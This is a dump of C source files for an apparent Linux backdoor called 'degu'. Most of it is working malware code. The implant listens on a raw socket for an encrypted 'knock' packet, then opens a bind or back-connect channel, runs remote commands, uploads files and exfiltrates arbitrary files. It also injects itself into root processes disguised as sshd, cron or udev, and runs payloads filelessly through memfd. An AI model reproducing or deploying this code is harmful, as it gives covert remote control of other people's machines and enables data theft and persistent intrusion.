38 | }
39 |
40 |
--------------------------------------------------------------------------------
/degu/key.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 | #include "degu.h"
19 | #include "aes.h"
20 | #include "ge.h"
21 | #include "sc.h"
22 | #include "ed25519.h"
23 |
24 | unsigned char knock_key[32] = KNOCK_KEY;
25 | unsigned char public_key[32] = MASTER_PUBKEY;
26 | unsigned char bot_public_key[32];
27 | unsigned char bot_private_key[64];
28 |
29 | void xdata(uint8_t *key, unsigned char* data, ssize_t len){
30 | uint8_t iv[16] = IV;
31 | struct AES_ctx ctx;
32 | AES_init_ctx_iv(&ctx, key, iv);
33 | AES_CTR_xcrypt_buffer(&ctx, data, len);
34 | }
35 |
36 | int xbuf(unsigned char *destkey,unsigned char *privkey, unsigned char *data, size_t len){
37 | unsigned char seed[32], secret[32]={0};
38 | ed25519_create_seed(seed);
39 | ed25519_key_exchange(secret, destkey, privkey);
40 | xdata(secret,data,len);
41 | return 0;
42 | }
43 |
44 | void xsig(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* private_key){
45 | ed25519_sign(signature, message,message_len, public_key, private_key);
46 | }
47 |
48 | unsigned int xvrfy(const unsigned char* signature, const unsigned char* message, size_t message_len){
49 | return ed25519_verify( signature, message, message_len, public_key );
50 | }
51 |
52 | void xnock(unsigned char* data, ssize_t len){
53 | struct AES_ctx knockctx;
54 | uint8_t iv[16] = IV;
55 | AES_init_ctx_iv(&knockctx, knock_key, iv);
56 | AES_CTR_xcrypt_buffer(&knockctx, data, len);
57 | }
58 |
59 | void setup_keys(void){
60 | unsigned char seed[32];
61 | TRACE("generating seed");
62 | ed25519_create_seed(seed);
63 | ed25519_create_keypair(bot_public_key, bot_private_key, seed);
64 | }
65 |
66 | void xpub(unsigned char *destkey,unsigned char *privkey){
67 |
68 | int i=0;
69 | uint8_t iv[16] = IV;
70 | uint8_t knock[32] = KNOCK_KEY;
71 | uint8_t master[32] = MASTER_PUBKEY;
72 | printf("#define IV\t\t{");
73 | for(i=0;i<15;i++)
74 | printf("0x%02x,",iv[i]);
75 | printf("0x%02x}\n",iv[15]);
76 |
77 | printf("#define KNOCK_KEY\t{");
78 | for(i=0;i<31;i++)
79 | printf("0x%02x,",knock[i]);
80 | printf("0x%02x}\n",knock[31]);
81 |
82 | printf("#define MASTER_PUBKEY\t{");
83 | for(i=0;i<31;i++)
84 | printf("0x%02x,",master[i]);
85 | printf("0x%02x}\n",master[31]);
86 | }
87 |
88 | void keygen(char* path){
89 |
90 | unsigned char eph_knock[32], eph_public_key[32], eph_private_key[64], eph_seed[32];
91 | unsigned char test_public_key[32], test_private_key[64];
92 | int i = 0;
93 |
94 | ed25519_create_seed(eph_seed);
95 | ed25519_create_seed(eph_knock);
96 | ed25519_create_keypair(eph_public_key, eph_private_key, eph_seed);
97 | ed25519_create_keypair(test_public_key, test_private_key, eph_knock);
98 |
99 | FILE *out = fopen(path,"w");
100 |
101 | if(out == NULL)
102 | return;
103 |
104 | fprintf(out,"pub=\"");
105 | for(i=0;i<32;i++)
106 | fprintf(out,"%02x",eph_public_key[i]);
107 | fprintf(out,"\"\n");
108 | fprintf(out,"priv=\"");
109 | for(i=0;i<64;i++)
110 | fprintf(out,"%02x",eph_private_key[i]);
111 | fprintf(out,"\"\n");
112 | fprintf(out,"iv=\"");
113 | for(int i=0;i<16;i++)
114 | fprintf(out,"%02x",eph_seed[i]);
115 | fprintf(out,"\"\n");
116 | fprintf(out,"knock=\"");
117 | for(int i=0;i<32;i++)
118 | fprintf(out,"%02x",eph_knock[i]);
119 | fprintf(out,"\"\n");
120 |
121 | fclose(out);
122 | }
123 |
--------------------------------------------------------------------------------
/degu/knock.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 |
19 | #include "degu.h"
20 |
21 | void create_daemon(){
22 |
23 | int status;
24 | pid_t pid = fork();
25 |
26 | if (pid < 0)
27 | exit(EXIT_FAILURE);
28 |
29 | if (pid > 0)
30 | exit(EXIT_SUCCESS);
31 |
32 | signal(SIGCHLD, SIG_IGN);
33 | signal(SIGHUP, SIG_IGN);
34 | waitpid(pid, &status, WNOHANG);
35 |
36 | umask(0);
37 | chdir("/");
38 | }
39 |
40 | /**
41 | after knock bot send his ephemeral key generated at startup
42 | > bot_pubkey 32bytes
43 | degu calculate ed25519 shared secret and cipher it
44 | <
45 | * **/
46 |
47 | void knock_handle(int sock){
48 |
49 | unsigned char pub[32];
50 |
51 | memcpy(&pub, bot_public_key, 32);
52 | xnock( pub, 32);
53 |
54 | TRACE("sending bot public key.");
55 |
56 | send(sock, pub, 32, 0);
57 |
58 | unsigned char header[32] = {0};
59 | unsigned char secret[32] = {0};
60 | struct timeval tv;
61 | tv.tv_sec = TIMEOUT;
62 | tv.tv_usec = 0;
63 |
64 | setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof tv);
65 | int i = recv(sock, &header, 32, MSG_PEEK);
66 |
67 | if (i > 0){
68 |
69 | ed25519_key_exchange(secret, public_key, bot_private_key);
70 |
71 | xdata(secret, header, 32);
72 |
73 | if ((memcmp(header,DEGU_EXE_UL,4) == 0) ||
74 | (memcmp(header,DEGU_EXE_MEMFD,4) == 0 ) ){
75 | knock_handle_exe(sock, header, secret);
76 | }else if (memcmp(header,DEGU_UP,4) == 0 ){
77 | knock_handle_up(sock, header, secret);
78 | }else if (memcmp(header,DEGU_DL,4) == 0 ){
79 | knock_handle_dl(sock, header, secret);
80 | }else{
81 | TRACE("bad degu magic WRONG KEY !!!");
82 | goto fail;
83 | }
84 | }else{
85 | TRACE("timeout");
86 | }
87 | fail:
88 | shutdown(sock,SHUT_RDWR);
89 | close(sock);
90 | exit(EXIT_FAILURE);
91 | }
92 |
93 | void knock_bind(unsigned int port){
94 |
95 | int pid = fork();
96 |
97 | if (pid < 0)
98 | return ;
99 | if (pid > 0){
100 | wait( NULL );
101 | return;
102 | }
103 | create_daemon();
104 |
105 | struct sockaddr_in serv_addr;
106 | serv_addr.sin_family = AF_INET;
107 | serv_addr.sin_addr.s_addr = INADDR_ANY;
108 | serv_addr.sin_port = htons(port);
109 |
110 | int sock,client,opt;
111 |
112 | if ( (sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
113 | TRACE("error creating socket");
114 | exit(EXIT_FAILURE);
115 | }
116 |
117 | if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR ,&opt, sizeof(opt))) {
118 | TRACE("setsockopt reuseaddr");
119 | exit(EXIT_FAILURE);
120 | }
121 |
122 | if (bind(sock, (struct sockaddr *)&serv_addr,sizeof(serv_addr))<0) {
123 | TRACE("bind failed");
124 | exit(EXIT_FAILURE);
125 | }
126 | if (listen(sock, 3) < 0) {
127 | TRACE("listen failed");
128 | exit(EXIT_FAILURE);
129 | }
130 |
131 | int addrlen = sizeof(serv_addr);
132 | int tm = 0;
133 |
134 | fcntl(sock, F_SETFL, O_NONBLOCK);
135 |
136 | while ( tm < TIMEOUT ){
137 | if ((client = accept(sock, (struct sockaddr *)&serv_addr, (socklen_t*)&addrlen))<0) {
138 | sleep(1);
139 | tm+=1;
140 | } else {
141 | TRACE("accept client %i",client);
142 | close(sock);
143 | knock_handle(client);
144 | break;
145 | }
146 | }
147 | close(sock);
148 | exit(EXIT_SUCCESS);
149 | }
150 |
151 |
152 | void knock_cb(unsigned char *dst,unsigned int port){
153 |
154 | int pid = fork();
155 |
156 | if (pid < 0)
157 | return;
158 | if (pid > 0){
159 | wait( NULL );
160 | return;
161 | }
162 |
163 | create_daemon();
164 |
165 | struct sockaddr_in serv_addr;
166 | serv_addr.sin_family = AF_INET;
167 | serv_addr.sin_port = htons(port);
168 | memcpy( &serv_addr.sin_addr.s_addr, dst, 4);
169 |
170 | int sock;
171 |
172 | if ( (sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
173 | TRACE("error creating socket");
174 | exit(EXIT_FAILURE);
175 | }
176 |
177 | if( connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
178 | TRACE("error connecting cb");
179 | exit(EXIT_FAILURE);
180 | }
181 | knock_handle(sock);
182 | close(sock);
183 | exit(EXIT_SUCCESS);
184 | }
185 |
186 | /**
187 | *
188 | proto
189 | random char[2]|header[2] char =>
190 | if header == 0xb00b // bind connect
191 | |port uint16_t
192 | if header == 0xc411 // back connect
193 | |ip[4] char|port unint16_t
194 | if header == 0xc057 // ghost exe
195 | |len[2]|cmd[len]|sig[64]
196 | |garbage char[970+] (< 1300)
197 | **/
198 |
199 | int knock(unsigned char *data,size_t len){
200 | data = data + STRIPUDP;
201 |
202 | xnock( data , len);
203 |
204 | unsigned int off = 32;
205 |
206 | if(data[0 + off] == 0xb0 && data[1 + off] == 0x0b ){
207 | int port = data[2 + off] | data[3 + off] << 8;
208 | TRACE("decryped bind port %i", port );
209 | knock_bind(port);
210 | return 1;
211 |
212 | }else if(data[0 + off] == 0xc4 && data[1 + off] == 0x11){
213 | unsigned int port = data[6 + off] | data[7 + off] << 8;
214 | unsigned char *dst = data + 2 + off;
215 | TRACE("decryped back connect %u", port );
216 | knock_cb( dst , port);
217 | return 1;
218 |
219 | }else if(data[0 + off] == 0xc0 && data[1 + off] == 0x57){
220 | unsigned char *cmd = data + 4 + off;
221 | size_t len = data[2 + off] | data[3 + off] << 8;
222 | if (len > DEGU_GHOST_MAX_CMD)
223 | return 0;
224 | TRACE("decryped ghost exe len %i", len );
225 | knock_ghost_exe( cmd , len );
226 | return 1;
227 |
228 | }else{
229 | TRACE("unable to decrypt");
230 | HEXDUMP("unknown", data, 32);
231 | }
232 | return 0;
233 | }
234 |
--------------------------------------------------------------------------------
/degu/log.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include "degu.h"
13 |
14 | #ifndef PROD
15 | #define DEBUGLOG "/tmp/debug"
16 |
17 | void trace(const char* format, ...) {
18 | va_list param;
19 | struct timeval tv;
20 | struct tm *nowtm;
21 | time_t nowtime;
22 | char tmbuf[64], buf[512];
23 | FILE *out = fopen(DEBUGLOG,"a+");
24 | if(out == NULL)
25 | return;
26 | // FILE *out = fopen("/dev/stdout","a+");
27 | gettimeofday(&tv, NULL);
28 | nowtime = tv.tv_sec;
29 | nowtm = localtime(&nowtime);
30 | strftime(tmbuf, sizeof tmbuf, "%H:%M:%S", nowtm);
31 | snprintf(buf, sizeof buf, "%s.%03ld", tmbuf, tv.tv_usec);
32 | fprintf(out, "(%d) %s: " , getpid(), buf);
33 | chmod(DEBUGLOG,0777);
34 | va_start(param, format);
35 | vfprintf(out, format, param);
36 | fprintf(out, "\n");
37 | va_end(param);
38 | fclose(out);
39 | }
40 |
41 | void hexdump(const char* header, const void* data, size_t size) {
42 | char ascii[17];
43 | size_t i, j;
44 | ascii[16] = '\0';
45 | FILE *out = fopen(DEBUGLOG,"a+");
46 | if(out == NULL)
47 | return;
48 | fprintf(out,"%s : \n",header);
49 | for (i = 0; i < size; ++i) {
50 | fprintf(out,"%02X ", ((unsigned char*)data)[i]);
51 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
52 | ascii[i % 16] = ((unsigned char*)data)[i];
53 | } else {
54 | ascii[i % 16] = '.';
55 | }
56 | if ((i+1) % 8 == 0 || i+1 == size) {
57 | fprintf(out," ");
58 | if ((i+1) % 16 == 0) {
59 | fprintf(out,"| %s \n", ascii);
60 | } else if (i+1 == size) {
61 | ascii[(i+1) % 16] = '\0';
62 | if ((i+1) % 16 <= 8) {
63 | fprintf(out," ");
64 | }
65 | for (j = (i+1) % 16; j < 16; ++j) {
66 | fprintf(out," ");
67 | }
68 | fprintf(out,"| %s \n", ascii);
69 | }
70 | }
71 | }
72 | fprintf(out," ----- \n");
73 | fclose(out);
74 | }
75 | #endif
76 |
77 |
78 |
--------------------------------------------------------------------------------
/degu/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include "degu.h"
15 |
16 | static int sock = -1;
17 | static int run = 1;
18 |
19 | #define CANDSIZE 11
20 | char *candidate[CANDSIZE]= {
21 | "udev",
22 | "cron",
23 | "udisksd",
24 | "syslog",
25 | "containerd",
26 | "sshd",
27 | "getty",
28 | "agetty",
29 | "dhcp",
30 | "master",
31 | NULL
32 | };
33 |
34 | int isnum(char entry[]){
35 | for (int i = 0; entry[i]!= '\0' && entry[i]!= '\n'; i++){
36 | unsigned int t = (unsigned int)(entry[i]);
37 | if ( t < 48 || t > 57 )
38 | return 0;
39 | }
40 | return 1;
41 | }
42 |
43 | int check_deletedlibs(char *pid){
44 | int ret = 0;
45 | char maps[512] = {0};
46 | char line[2048] = {0};
47 | sprintf(maps,"/proc/%s/maps",pid);
48 | FILE *f = fopen(maps,"r");
49 | if( f == NULL )
50 | return 1;
51 | while( fgets(line,2048,f) ) {
52 | if(strstr(line,"(deleted)") != NULL )
53 | ret = 1;
54 | }
55 | fclose(f);
56 | return ret;
57 | }
58 |
59 | int check_seccomp(char* pid){
60 | char line[1024] = {0};
61 | int seccomp = 0;
62 | int seccompf = 0;
63 | char status[512] = {0};
64 | sprintf(status,"/proc/%s/status",pid);
65 | FILE *f = fopen(status,"r");
66 | if( f == NULL ) return 1;
67 | while( fgets(line,1024,f) ) {
68 | if (strncmp("Seccomp_",line,8) == 0 ){
69 | char *tok = strtok(line, "\t");
70 | while(tok != NULL) {
71 | if(isnum(tok) == 1 )
72 | seccompf = atoi(tok);
73 | tok = strtok(NULL, "\t");
74 | }
75 | }
76 |
77 | if (strncmp("Seccomp:",line,8) == 0 ){
78 | char *tok = strtok(line, "\t");
79 | while(tok != NULL) {
80 | if(isnum(tok) == 1 )
81 | seccomp = atoi(tok);
82 | tok = strtok(NULL, "\t");
83 | }
84 | }
85 | }
86 | fclose(f);
87 | if (seccompf > 1 )
88 | return 1;
89 | if (seccomp > 2 )
90 | return 1;
91 | return 0;
92 | }
93 |
94 | void findproc(){
95 | DIR *procfs = NULL;
96 | procfs = opendir("/proc");
97 | if (procfs == NULL){
98 | TRACE("no procfs ?!");
99 | return;
100 | }
101 |
102 | struct dirent *entry = NULL;
103 | while( (entry=readdir(procfs)) ){
104 | if (isnum(entry->d_name)){
105 | char *pid = entry->d_name;
106 |
107 | char link[512] = {0};
108 | sprintf(link,"/proc/%s/exe",pid);
109 |
110 | char buf[4096]={0}; // no max path ftl
111 | int ret = readlink(link,buf,4096);
112 |
113 | if(ret != -1){
114 | struct stat sb;
115 | char maps[512] = {0};
116 | sprintf(maps,"/proc/%s",pid);
117 | ret = stat(maps,&sb);
118 | if (ret == 0){
119 | if (sb.st_uid == 0 && strlen(pid) != 1 ){
120 | int i=0;
121 | while(candidate[i] != NULL){
122 | if (strstr( buf, candidate[i] )){
123 | TRACE("checking exe=%s pid=%s",buf,pid);
124 | if ( (check_seccomp(pid) == 1) || (check_deletedlibs(pid) == 1) ){
125 | i++;
126 | continue;
127 | }
128 | char dso[4096] = {0};
129 | readlink("/proc/self/exe",dso,4096);
130 | pid_t target = atoi(pid);
131 | TRACE("injecting into %i",target);
132 | int ret = inject(target,dso);
133 | if (ret == 0)
134 | _exit(0);
135 | }
136 | i++;
137 | }
138 | }
139 | }
140 | }
141 | }
142 | }
143 | closedir(procfs);
144 | printf("┌∩┐\n");
145 | }
146 |
147 | int ghost_listen(){
148 |
149 | int s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
150 |
151 | if(s == -1 ){
152 | TRACE("[-] sock raw: %i %s", sock, strerror(errno));
153 | return -1;
154 | }
155 |
156 | struct sock_fprog filter;
157 | struct sock_filter BPF_code[] = {
158 | { 0x28, 0, 0, 0x0000000c },
159 | { 0x15, 0, 12, 0x00000800 },
160 | { 0x30, 0, 0, 0x00000017 },
161 | { 0x15, 0, 10, 0x00000011 },
162 | { 0x28, 0, 0, 0x00000014 },
163 | { 0x45, 8, 0, 0x00001fff },
164 | { 0xb1, 0, 0, 0x0000000e },
165 | { 0x48, 0, 0, 0x0000000e },
166 | { 0x15, 2, 0, 0x00000035 },
167 | { 0x48, 0, 0, 0x00000010 },
168 | { 0x15, 0, 3, 0x00000035 },
169 | { 0x80, 0, 0, 0x00000000 },
170 | { 0x35, 0, 1, PKTLEN_TRIGG },
171 | { 0x6, 0, 0, 0x00040000 },
172 | { 0x6, 0, 0, 0x00000000 },
173 | };
174 |
175 | filter.len = 15;
176 | filter.filter = BPF_code;
177 |
178 | if(setsockopt(s, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) < 0) {
179 | TRACE("[-] bpf failed: %i %s\n", s, strerror(errno));
180 | run = 0;
181 | return -1;
182 | }
183 | return s;
184 | }
185 |
186 | void sig_alrm(int signum){
187 |
188 | if(run == 1)
189 | signal(SIGALRM,sig_alrm);
190 |
191 | alarm(WAKE);
192 | if(sock < 0)
193 | sock = ghost_listen();
194 |
195 | unsigned char p[1500] = {0};
196 | int i = 0;
197 | while( i != -1 ){
198 | i = recvfrom(sock, &p, 1500, MSG_DONTWAIT, NULL, NULL );
199 | if (i > PKTLEN_TRIGG )
200 | knock(p,i);
201 | }
202 | }
203 |
204 |
205 | DEGU_FUNC_INIT void degu(){
206 |
207 | if( getenv(PRELOAD) != NULL ){
208 | int port = 0;
209 |
210 | if (getuid() == 0)
211 | port=53;
212 |
213 | if (getenv(PORT) != NULL)
214 | port = atoi(getenv(PORT));
215 |
216 | if(port == 0 )
217 | return;
218 |
219 | pid_t pid = fork();
220 | if (pid == 0) {
221 | setsid();
222 | pid_t pid2 = fork();
223 | if (pid2 == 0) {
224 | setsid();
225 | parasite(port, 1);
226 | }
227 | }
228 | exit(EXIT_FAILURE);
229 | }
230 |
231 | if ( getenv(LIB_BYPASS) != NULL )
232 | return;
233 |
234 | if(getuid() == 0){
235 | setup_keys();
236 | signal(SIGALRM,sig_alrm);
237 | alarm(WAKE);
238 | }
239 | }
240 |
241 |
242 | /**
243 | * Command usage
244 |
245 | # ./degu.so
246 | uid == 0 && findproc
247 |
248 | # ./degu.so
249 | uid == 0 && pid to inject
250 |
251 | #/$ ./degu.so
252 | uid == 0/1000 && port && bin to infect
253 |
254 | $ ./degu.so
255 | uid == 1000 && port to listen to
256 |
257 | *
258 | *
259 | *
260 | *
261 | */
262 |
263 | int main(int argc,char *argv[]){
264 |
265 | char *bypass = getenv(LIB_BYPASS);
266 |
267 | if ((bypass == NULL ) && (getuid() == 0)){
268 |
269 | if (argc == 1){
270 | findproc();
271 | }else if (argc == 2){
272 | char dso[4096] = {0};
273 | readlink("/proc/self/exe",dso,4096);
274 | char *pid = argv[1];
275 | TRACE("trying injecting pid %s ",pid);
276 | pid_t target = atoi(pid);
277 |
278 | if ( check_seccomp(pid) == 1 ){
279 | printf(":/\n");
280 | exit(-103);
281 | }
282 | if ( check_deletedlibs(pid) == 1){
283 | printf(":\\\n");
284 | exit(-104);
285 | }
286 | TRACE("%s %i",dso,target);
287 |
288 | int fail = inject(target,dso);
289 | exit(fail);
290 | }
291 | }
292 | if (bypass == NULL ){
293 | if (argc == 3){
294 | TRACE("trying usereffort ");
295 | int port = atoi(argv[1]);
296 | if (port < 1024)
297 | exit(EXIT_FAILURE);
298 | char *bin = strdup(argv[2]);
299 | usereffort(port,bin);
300 | exit(EXIT_SUCCESS);
301 | }else if(argc == 2 ){
302 | int port = atoi(argv[1]);
303 | if (port < 1024)
304 | exit(EXIT_FAILURE);
305 | pid_t pid = fork();
306 | if (pid == 0) {
307 | setsid();
308 | pid_t pid2 = fork();
309 | if (pid2 == 0) {
310 | setsid();
311 | parasite(port, 1);
312 | }
313 | exit(EXIT_SUCCESS);
314 | }
315 | exit(EXIT_SUCCESS);
316 | } else {
317 | exit(EXIT_FAILURE);
318 | }
319 | }
320 | }
321 |
--------------------------------------------------------------------------------
/degu/ops.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 | #include "degu.h"
19 |
20 | int degu_ulexec(unsigned char *bin, char *argv[],size_t size){
21 | TRACE("running %s in ulexec",argv[0]);
22 | return reflect_execv(bin, argv,size);
23 | }
24 |
25 | int degu_memfd_create(char *name, int flags){
26 |
27 | int ret = syscall(319, name, flags);
28 |
29 | if (ret == -1){
30 | char file[] = "/dev/shm/.XXXXXX";
31 | ret = mkstemp(file);
32 | fchmod(ret, 0755);
33 | unlink(file);
34 | TRACE("memfd fallback %s fd=%i ", file, ret);
35 | }
36 |
37 | return ret;
38 | }
39 |
40 | int degu_execveat(int dirfd, char *pathname,char *argv[],
41 | char *envp[], int flags){
42 |
43 | int ret = syscall(322, dirfd, pathname, argv, envp, flags);
44 |
45 | if (ret == -1){
46 | char cmd[4096] = {0};
47 | sprintf(cmd,"/proc/%i/fd/%i",getpid(),dirfd);
48 | TRACE("exec fallback %s ",cmd);
49 | ret = execve(cmd, argv, envp);
50 | }
51 |
52 | return ret;
53 | }
54 |
55 |
56 | int degu_send(int socket, unsigned char *ptr, size_t length){
57 | int total = length;
58 | while (length > 0){
59 | int i = send(socket, ptr, length, 0);
60 | if ( i < 0 ) return i;
61 | ptr += i;
62 | length -= i;
63 | }
64 | return total;
65 | }
66 |
67 | //|Oo<<|lenpath*4|path
68 | void knock_handle_dl(int sock,unsigned char *header,unsigned char *secret){
69 | unsigned char *cur = header + 4;
70 |
71 | int i;
72 | ssize_t lpath = cur[0] | (cur[1] << 8)
73 | | (cur[2] << 16) | (cur[3] << 24);
74 |
75 | ssize_t total_len = lpath + 4 + 4; // magic + len + str
76 |
77 | TRACE("in dl path total_len = %i len path = %i", total_len, lpath);
78 |
79 | if (total_len < 32)
80 | total_len = 32;
81 |
82 | unsigned char *payload = malloc( total_len * sizeof *payload );
83 |
84 | if(payload == NULL){
85 | return;
86 | }
87 |
88 | int r=0;
89 | while ( r < total_len ){
90 | i = recv(sock, payload + r, 32, 0);
91 | if( i <= 0) break;
92 | r+=i;
93 | }
94 |
95 | xdata(secret, payload, total_len);
96 |
97 | char *path = malloc(lpath + 1);
98 | if (!path) {
99 | free(payload);
100 | return;
101 | }
102 | memset(path, 0, lpath + 1);
103 | memcpy(path, payload + 8, lpath);
104 |
105 | TRACE("dl %s", path);
106 | int file = open(path, O_RDONLY);
107 |
108 | if( file < 0 ){
109 | free(path);
110 | free(payload);
111 | return; // send 404 ?
112 | }
113 |
114 | struct stat file_stat;
115 | int res = stat(path, &file_stat);
116 |
117 | TRACE("file_stat.st_size = %i res = %i ",file_stat.st_size, res);
118 |
119 | unsigned char flen[4];
120 | flen[0] = (file_stat.st_size >> 24) & 0xFF;
121 | flen[1] = (file_stat.st_size >> 16) & 0xFF;
122 | flen[2] = (file_stat.st_size >> 8) & 0xFF;
123 | flen[3] = file_stat.st_size & 0xFF;
124 |
125 | unsigned int delta = 32 - ((file_stat.st_size + 4 ) % 32);
126 |
127 | unsigned char *response = malloc( file_stat.st_size + 4 + delta );
128 | if (!response) {
129 | close(file);
130 | free(path);
131 | free(payload);
132 | return;
133 | }
134 | memcpy(response, flen, 4);
135 | res = read(file, response + 4, file_stat.st_size);
136 | memset(response + 4 + file_stat.st_size , 0, delta);
137 | ssize_t reslen = file_stat.st_size + 4 + delta;
138 | TRACE("total len = %i ",reslen);
139 |
140 | xdata(secret, response, reslen);
141 |
142 | degu_send(sock, response, reslen);
143 |
144 | close(file);
145 | free(payload);
146 | free(path);
147 | free(response);
148 |
149 | }
150 |
151 | //|Oo>>|lendata*4|lenpath*4|path|data
152 | void knock_handle_up(int sock,unsigned char *header,unsigned char *secret){
153 |
154 | unsigned char *cur = header + 4;
155 |
156 | ssize_t ldata = cur[0] | (cur[1] << 8)
157 | | (cur[2] << 16) | (cur[3] << 24);
158 |
159 | cur += 4;
160 |
161 | ssize_t lpath = cur[0] | (cur[1] << 8)
162 | | (cur[2] << 16) | (cur[3] << 24);
163 |
164 | cur += 4;
165 | // header + lendata + lenpath == 12
166 | ssize_t total_len = ldata + lpath + 12;
167 |
168 | if ( total_len < 32 )
169 | total_len = 32;
170 |
171 | TRACE("total len %i ldata %i lpath %i", total_len, ldata, lpath );
172 |
173 |
174 | unsigned char *payload = malloc( total_len + total_len % 1024 + 1 );
175 |
176 | if( payload == NULL ){
177 | TRACE("error malloc %i", total_len + 1 );
178 | return;
179 | }
180 |
181 | unsigned int r=0;
182 | int i;
183 |
184 | while ( r < total_len ){
185 | i = recv(sock, payload + r, 1024, 0);
186 | if( i <= 0) break;
187 | r+=i;
188 | }
189 |
190 | xdata( secret, payload, total_len );
191 |
192 | char *path = malloc( lpath + 1 );
193 | if (!path) {
194 | free(payload);
195 | return;
196 | }
197 | memset( path, 0, lpath + 1 );
198 |
199 | memcpy( path, payload + 12, lpath );
200 |
201 | TRACE("up file = %s len data %i", path, ldata );
202 |
203 | int fd = open(path, O_CREAT|O_WRONLY, 0755);
204 | if ( fd < 0 ){
205 | free( payload );
206 | free( path );
207 | return;
208 | }
209 | write( fd, payload + 12 + lpath, ldata);
210 | close( fd );
211 |
212 | free( payload );
213 | free( path );
214 | }
215 |
216 | //|
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #include "degu.h"
15 | #include "injector.h"
16 |
17 |
18 | static int isexecok(const char *filename) {
19 | if (access(filename, F_OK|X_OK) != -1) {
20 | return 1;
21 | } else {
22 | return 0;
23 | }
24 | }
25 |
26 | void usereffort(int port,char *bin){
27 | if (isexecok(bin) == 1){
28 | TRACE("user effort %i %s",port,bin);
29 | char dso[2048] = {0};
30 | readlink("/proc/self/exe",dso,2048);
31 |
32 | char preload[4096] = {0};
33 | char eport[512] = {0};
34 | sprintf(preload,"%s=%s",PRELOAD,dso);
35 | sprintf(eport,"%s=%i",PORT,port);
36 | char **env = (char **)malloc(3 * sizeof(char *));
37 | if(!env ){
38 | printf("unable to malloc environ \n");
39 | exit(-105);
40 | }
41 | env[0] = preload;
42 | env[1] = eport;
43 | env[2] = NULL;
44 | execle(bin,bin,NULL,env);
45 | } else {
46 | printf("? %s\n",bin);
47 | exit(-105);
48 | }
49 | }
50 |
51 | static int get_mm_map(const char *filename, struct prctl_mm_map *m) {
52 |
53 | const char fmt[] =
54 | "%*d " // (1) pid
55 | "%*s " // (2) comm
56 | "%*c " // (3) state
57 | "%*d " // (4) ppid
58 | "%*d " // (5) pgrp
59 | "%*d " // (6) session
60 | "%*d " // (7) tty_nr
61 | "%*d " // (8) tpgid
62 | "%*u " // (9) flags
63 | "%*u " // "%lu" // (10) minflt
64 | "%*u " // "%lu" // (11) cminflt
65 | "%*u " // "%lu" // (12) majflt
66 | "%*u " // "%lu" // (13) cmajflt
67 | "%*u " // "%lu" // (14) utime
68 | "%*u " // "%lu" // (15) stime
69 | "%*d " // "%ld" // (16) cutime
70 | "%*d " // "%ld" // (17) cstime
71 | "%*d " // "%ld" // (18) priority
72 | "%*d " // "%ld" // (19) nice
73 | "%*d " // "%ld" // (20) num_threads
74 | "%*d " // "%ld" // (21) itrealvalue
75 | "%*u " // "%llu" // (22) starttime
76 | "%*u " // "%lu" // (23) vsize
77 | "%*d " // "%ld" // (24) rss
78 | "%*u " // "%lu" // (25) rsslim
79 | /* 0 */ "%lu " // (26) start_code [PT]
80 | /* 1 */ "%lu " // (27) end_code [PT]
81 | /* 2 */ "%lu " // (28) start_stack [PT]
82 | "%*u " // "%lu" // (29) kstkesp [PT]
83 | "%*u " // "%lu" // (30) kstkeip [PT]
84 | "%*u " // "%lu" // (31) signal
85 | "%*u " // "%lu" // (32) blocked
86 | "%*u " // "%lu" // (33) sigignore
87 | "%*u " // "%lu" // (34) sigcatch
88 | "%*u " // "%lu" // (35) wchan [PT]
89 | "%*u " // "%lu" // (36) nswap
90 | "%*u " // "%lu" // (37) cnswap
91 | "%*d " // (38) exit_signal (since Linux 2.1.22)
92 | "%*d " // (39) processor (since Linux 2.2.8)
93 | "%*u " // (40) rt_priority (since Linux 2.5.19)
94 | "%*u " // (41) policy (since Linux 2.5.19)
95 | "%*u " // "%llu" // (42) delayacct_blkio_ticks (since Linux 2.6.18)
96 | "%*u " // "%lu" // (43) guest_time (since Linux 2.6.24)
97 | "%*d " // "%ld" // (44) cguest_time (since Linux 2.6.24)
98 | /* 3 */ "%lu " // (45) start_data (since Linux 3.3) [PT]
99 | /* 4 */ "%lu " // (46) end_data (since Linux 3.3) [PT]
100 | /* 5 */ "%lu " // (47) start_brk (since Linux 3.3) [PT]
101 | /* 6 */ "%lu " // (48) arg_start (since Linux 3.5) [PT]
102 | /* 7 */ "%lu " // (49) arg_end (since Linux 3.5) [PT]
103 | /* 8 */ "%lu " // (50) env_start (since Linux 3.5) [PT]
104 | /* 9 */ "%lu " // (51) env_end (since Linux 3.5) [PT]
105 | "%*d" // (52) exit_code (since Linux 3.5) [PT]
106 | ;
107 |
108 | unsigned long start_code, end_code, start_stack, start_data, end_data,
109 | start_brk, arg_start, arg_end, env_start, env_end;
110 |
111 |
112 | FILE *f = fopen(filename, "r");
113 | if (!f) {
